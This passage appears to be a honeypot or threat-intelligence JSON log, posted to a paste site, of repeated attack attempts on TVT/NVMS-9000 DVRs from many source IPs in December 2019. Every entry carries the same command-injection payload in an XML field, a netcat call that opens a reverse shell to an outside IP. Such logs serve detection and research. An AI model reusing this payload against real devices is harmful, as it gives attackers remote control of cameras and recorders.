  11428.       "user_agent": "Help",
  11429.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11430.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11431.       "target_port": 8000,
  11432.       "protocol": "tcp",
  11433.       "tags": [
  11434.         {
  11435.           "cve": "",
  11436.           "category": "IoT",
  11437.           "description": "TVT (Generic OEM) DVR RCE"
  11438.         }
  11439.       ],
  11440.       "event_count": 104,
  11441.       "first_seen": "2019-12-19T00:56:37Z",
  11442.       "last_seen": "2019-12-19T00:56:37Z"
  11443.     },
  11444.     {
  11445.       "source_ip_address": "187.137.54.78",
  11446.       "country": "MX",
  11447.       "user_agent": "Help",
  11448.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11449.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11450.       "target_port": 81,
  11451.       "protocol": "tcp",
  11452.       "tags": [
  11453.         {
  11454.           "cve": "",
  11455.           "category": "IoT",
  11456.           "description": "TVT (Generic OEM) DVR RCE"
  11457.         }
  11458.       ],
  11459.       "event_count": 104,
  11460.       "first_seen": "2019-12-19T00:24:47Z",
  11461.       "last_seen": "2019-12-19T00:24:47Z"
  11462.     },
  11463.     {
  11464.       "source_ip_address": "31.27.214.111",
  11465.       "country": "IT",
  11466.       "user_agent": "Help",
  11467.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11468.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11469.       "target_port": 81,
  11470.       "protocol": "tcp",
  11471.       "tags": [
  11472.         {
  11473.           "cve": "",
  11474.           "category": "IoT",
  11475.           "description": "TVT (Generic OEM) DVR RCE"
  11476.         }
  11477.       ],
  11478.       "event_count": 3,
  11479.       "first_seen": "2019-12-19T00:22:23Z",
  11480.       "last_seen": "2019-12-19T00:22:23Z"
  11481.     },
  11482.     {
  11483.       "source_ip_address": "78.139.27.208",
  11484.       "country": "HU",
  11485.       "user_agent": "Help",
  11486.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11487.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11488.       "target_port": 8080,
  11489.       "protocol": "tcp",
  11490.       "tags": [
  11491.         {
  11492.           "cve": "",
  11493.           "category": "IoT",
  11494.           "description": "TVT (Generic OEM) DVR RCE"
  11495.         }
  11496.       ],
  11497.       "event_count": 3,
  11498.       "first_seen": "2019-12-19T00:22:04Z",
  11499.       "last_seen": "2019-12-19T00:22:04Z"
  11500.     },
  11501.     {
  11502.       "source_ip_address": "118.150.144.122",
  11503.       "country": "TW",
  11504.       "user_agent": "Help",
  11505.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11506.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11507.       "target_port": 81,
  11508.       "protocol": "tcp",
  11509.       "tags": [
  11510.         {
  11511.           "cve": "",
  11512.           "category": "IoT",
  11513.           "description": "TVT (Generic OEM) DVR RCE"
  11514.         }
  11515.       ],
  11516.       "event_count": 1,
  11517.       "first_seen": "2019-12-19T00:01:37Z",
  11518.       "last_seen": "2019-12-19T00:01:37Z"
  11519.     },
  11520.     {
  11521.       "source_ip_address": "213.235.188.22",
  11522.       "country": "CZ",
  11523.       "user_agent": "Help",
  11524.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11525.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11526.       "target_port": 81,
  11527.       "protocol": "tcp",
  11528.       "tags": [
  11529.         {
  11530.           "cve": "",
  11531.           "category": "IoT",
  11532.           "description": "TVT (Generic OEM) DVR RCE"
  11533.         }
  11534.       ],
  11535.       "event_count": 1,
  11536.       "first_seen": "2019-12-18T23:51:30Z",
  11537.       "last_seen": "2019-12-18T23:51:30Z"
  11538.     },
  11539.     {
  11540.       "source_ip_address": "73.143.106.124",
  11541.       "country": "US",
  11542.       "user_agent": "Help",
  11543.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11544.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11545.       "target_port": 8080,
  11546.       "protocol": "tcp",
  11547.       "tags": [
  11548.         {
  11549.           "cve": "",
  11550.           "category": "IoT",
  11551.           "description": "TVT (Generic OEM) DVR RCE"
  11552.         }
  11553.       ],
  11554.       "event_count": 1,
  11555.       "first_seen": "2019-12-18T23:04:29Z",
  11556.       "last_seen": "2019-12-18T23:04:29Z"
  11557.     },
  11558.     {
  11559.       "source_ip_address": "216.252.208.240",
  11560.       "country": "CA",
  11561.       "user_agent": "Help",
  11562.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11563.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11564.       "target_port": 80,
  11565.       "protocol": "tcp",
  11566.       "tags": [
  11567.         {
  11568.           "cve": "",
  11569.           "category": "IoT",
  11570.           "description": "TVT (Generic OEM) DVR RCE"
  11571.         }
  11572.       ],
  11573.       "event_count": 1,
  11574.       "first_seen": "2019-12-18T22:48:17Z",
  11575.       "last_seen": "2019-12-18T22:48:17Z"
  11576.     },
  11577.     {
  11578.       "source_ip_address": "185.8.25.172",
  11579.       "country": "IT",
  11580.       "user_agent": "Help",
  11581.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11582.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11583.       "target_port": 88,
  11584.       "protocol": "tcp",
  11585.       "tags": [
  11586.         {
  11587.           "cve": "",
  11588.           "category": "IoT",
  11589.           "description": "TVT (Generic OEM) DVR RCE"
  11590.         }
  11591.       ],
  11592.       "event_count": 1,
  11593.       "first_seen": "2019-12-18T22:42:33Z",
  11594.       "last_seen": "2019-12-18T22:42:33Z"
  11595.     },
  11596.     {
  11597.       "source_ip_address": "88.209.219.144",
  11598.       "country": "HU",
  11599.       "user_agent": "Help",
  11600.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11601.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11602.       "target_port": 8080,
  11603.       "protocol": "tcp",
  11604.       "tags": [
  11605.         {
  11606.           "cve": "",
  11607.           "category": "IoT",
  11608.           "description": "TVT (Generic OEM) DVR RCE"
  11609.         }
  11610.       ],
  11611.       "event_count": 1,
  11612.       "first_seen": "2019-12-18T22:02:14Z",
  11613.       "last_seen": "2019-12-18T22:02:14Z"
  11614.     },
  11615.     {
  11616.       "source_ip_address": "202.186.145.45",
  11617.       "country": "MY",
  11618.       "user_agent": "Help",
  11619.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11620.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11621.       "target_port": 80,
  11622.       "protocol": "tcp",
  11623.       "tags": [
  11624.         {
  11625.           "cve": "",
  11626.           "category": "IoT",
  11627.           "description": "TVT (Generic OEM) DVR RCE"
  11628.         }
  11629.       ],
  11630.       "event_count": 4,
  11631.       "first_seen": "2019-12-18T20:46:37Z",
  11632.       "last_seen": "2019-12-18T20:46:37Z"
  11633.     },
  11634.     {
  11635.       "source_ip_address": "119.160.148.175",
  11636.       "country": "BN",
  11637.       "user_agent": "Help",
  11638.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11639.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11640.       "target_port": 81,
  11641.       "protocol": "tcp",
  11642.       "tags": [
  11643.         {
  11644.           "cve": "",
  11645.           "category": "IoT",
  11646.           "description": "TVT (Generic OEM) DVR RCE"
  11647.         }
  11648.       ],
  11649.       "event_count": 1,
  11650.       "first_seen": "2019-12-18T20:39:04Z",
  11651.       "last_seen": "2019-12-18T20:39:04Z"
  11652.     },
  11653.     {
  11654.       "source_ip_address": "210.202.105.4",
  11655.       "country": "TW",
  11656.       "user_agent": "Help",
  11657.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11658.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11659.       "target_port": 81,
  11660.       "protocol": "tcp",
  11661.       "tags": [
  11662.         {
  11663.           "cve": "",
  11664.           "category": "IoT",
  11665.           "description": "TVT (Generic OEM) DVR RCE"
  11666.         }
  11667.       ],
  11668.       "event_count": 1,
  11669.       "first_seen": "2019-12-18T19:59:02Z",
  11670.       "last_seen": "2019-12-18T19:59:02Z"
  11671.     },
  11672.     {
  11673.       "source_ip_address": "45.48.224.168",
  11674.       "country": "US",
  11675.       "user_agent": "Help",
  11676.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11677.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11678.       "target_port": 80,
  11679.       "protocol": "tcp",
  11680.       "tags": [
  11681.         {
  11682.           "cve": "",
  11683.           "category": "IoT",
  11684.           "description": "TVT (Generic OEM) DVR RCE"
  11685.         }
  11686.       ],
  11687.       "event_count": 2,
  11688.       "first_seen": "2019-12-18T19:48:26Z",
  11689.       "last_seen": "2019-12-18T19:48:26Z"
  11690.     },
  11691.     {
  11692.       "source_ip_address": "71.251.9.186",
  11693.       "country": "US",
  11694.       "user_agent": "Help",
  11695.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11696.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11697.       "target_port": 80,
  11698.       "protocol": "tcp",
  11699.       "tags": [
  11700.         {
  11701.           "cve": "",
  11702.           "category": "IoT",
  11703.           "description": "TVT (Generic OEM) DVR RCE"
  11704.         }
  11705.       ],
  11706.       "event_count": 2,
  11707.       "first_seen": "2019-12-18T19:44:28Z",
  11708.       "last_seen": "2019-12-18T19:44:28Z"
  11709.     },
  11710.     {
  11711.       "source_ip_address": "24.193.135.2",
  11712.       "country": "US",
  11713.       "user_agent": "Help",
  11714.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11715.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11716.       "target_port": 80,
  11717.       "protocol": "tcp",
  11718.       "tags": [
  11719.         {
  11720.           "cve": "",
  11721.           "category": "IoT",
  11722.           "description": "TVT (Generic OEM) DVR RCE"
  11723.         }
  11724.       ],
  11725.       "event_count": 5,
  11726.       "first_seen": "2019-12-18T19:32:45Z",
  11727.       "last_seen": "2019-12-18T19:32:45Z"
  11728.     },
  11729.     {
  11730.       "source_ip_address": "72.27.220.115",
  11731.       "country": "JM",
  11732.       "user_agent": "Help",
  11733.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11734.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11735.       "target_port": 81,
  11736.       "protocol": "tcp",
  11737.       "tags": [
  11738.         {
  11739.           "cve": "",
  11740.           "category": "IoT",
  11741.           "description": "TVT (Generic OEM) DVR RCE"
  11742.         }
  11743.       ],
  11744.       "event_count": 3,
  11745.       "first_seen": "2019-12-18T19:29:08Z",
  11746.       "last_seen": "2019-12-18T19:29:08Z"
  11747.     },
  11748.     {
  11749.       "source_ip_address": "220.134.157.241",
  11750.       "country": "TW",
  11751.       "user_agent": "Help",
  11752.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11753.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11754.       "target_port": 8000,
  11755.       "protocol": "tcp",
  11756.       "tags": [
  11757.         {
  11758.           "cve": "",
  11759.           "category": "IoT",
  11760.           "description": "TVT (Generic OEM) DVR RCE"
  11761.         }
  11762.       ],
  11763.       "event_count": 2,
  11764.       "first_seen": "2019-12-18T19:23:10Z",
  11765.       "last_seen": "2019-12-18T19:23:10Z"
  11766.     },
  11767.     {
  11768.       "source_ip_address": "122.116.208.90",
  11769.       "country": "TW",
  11770.       "user_agent": "Help",
  11771.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11772.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11773.       "target_port": 8080,
  11774.       "protocol": "tcp",
  11775.       "tags": [
  11776.         {
  11777.           "cve": "",
  11778.           "category": "IoT",
  11779.           "description": "TVT (Generic OEM) DVR RCE"
  11780.         }
  11781.       ],
  11782.       "event_count": 3,
  11783.       "first_seen": "2019-12-18T19:18:24Z",
  11784.       "last_seen": "2019-12-18T19:18:24Z"
  11785.     },
  11786.     {
  11787.       "source_ip_address": "134.56.157.127",
  11788.       "country": "US",
  11789.       "user_agent": "Help",
  11790.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11791.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11792.       "target_port": 8080,
  11793.       "protocol": "tcp",
  11794.       "tags": [
  11795.         {
  11796.           "cve": "",
  11797.           "category": "IoT",
  11798.           "description": "TVT (Generic OEM) DVR RCE"
  11799.         }
  11800.       ],
  11801.       "event_count": 2,
  11802.       "first_seen": "2019-12-18T19:02:31Z",
  11803.       "last_seen": "2019-12-18T19:02:31Z"
  11804.     },
  11805.     {
  11806.       "source_ip_address": "85.105.188.127",
  11807.       "country": "TR",
  11808.       "user_agent": "Help",
  11809.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11810.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11811.       "target_port": 8000,
  11812.       "protocol": "tcp",
  11813.       "tags": [
  11814.         {
  11815.           "cve": "",
  11816.           "category": "IoT",
  11817.           "description": "TVT (Generic OEM) DVR RCE"
  11818.         }
  11819.       ],
  11820.       "event_count": 3,
  11821.       "first_seen": "2019-12-18T18:45:48Z",
  11822.       "last_seen": "2019-12-18T18:45:48Z"
  11823.     },
  11824.     {
  11825.       "source_ip_address": "5.175.68.66",
  11826.       "country": "SK",
  11827.       "user_agent": "Help",
  11828.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11829.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11830.       "target_port": 88,
  11831.       "protocol": "tcp",
  11832.       "tags": [
  11833.         {
  11834.           "cve": "",
  11835.           "category": "IoT",
  11836.           "description": "TVT (Generic OEM) DVR RCE"
  11837.         }
  11838.       ],
  11839.       "event_count": 6,
  11840.       "first_seen": "2019-12-18T18:39:13Z",
  11841.       "last_seen": "2019-12-18T18:39:13Z"
  11842.     },
  11843.     {
  11844.       "source_ip_address": "93.38.60.162",
  11845.       "country": "IT",
  11846.       "user_agent": "Help",
  11847.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11848.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11849.       "target_port": 8000,
  11850.       "protocol": "tcp",
  11851.       "tags": [
  11852.         {
  11853.           "cve": "",
  11854.           "category": "IoT",
  11855.           "description": "TVT (Generic OEM) DVR RCE"
  11856.         }
  11857.       ],
  11858.       "event_count": 3,
  11859.       "first_seen": "2019-12-18T18:29:42Z",
  11860.       "last_seen": "2019-12-18T18:29:42Z"
  11861.     },
  11862.     {
  11863.       "source_ip_address": "178.129.223.44",
  11864.       "country": "RU",
  11865.       "user_agent": "Help",
  11866.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  11867.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  11868.       "target_port": 81,
  11869.       "protocol": "tcp",
  11870.       "tags": [
  11871.         {
  11872.           "cve": "",
  11873.           "category": "IoT",
  11874.           "description": "TVT (Generic OEM) DVR RCE"
  11875.         }
  11876.       ],
  11877.       "event_count": 3,
  11878.       "first_seen": "2019-12-18T18:17:13Z",
  11879.       "last_seen": "2019-12-18T18:17:13Z"
  11880.     }
  11881.   ]
  11882. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
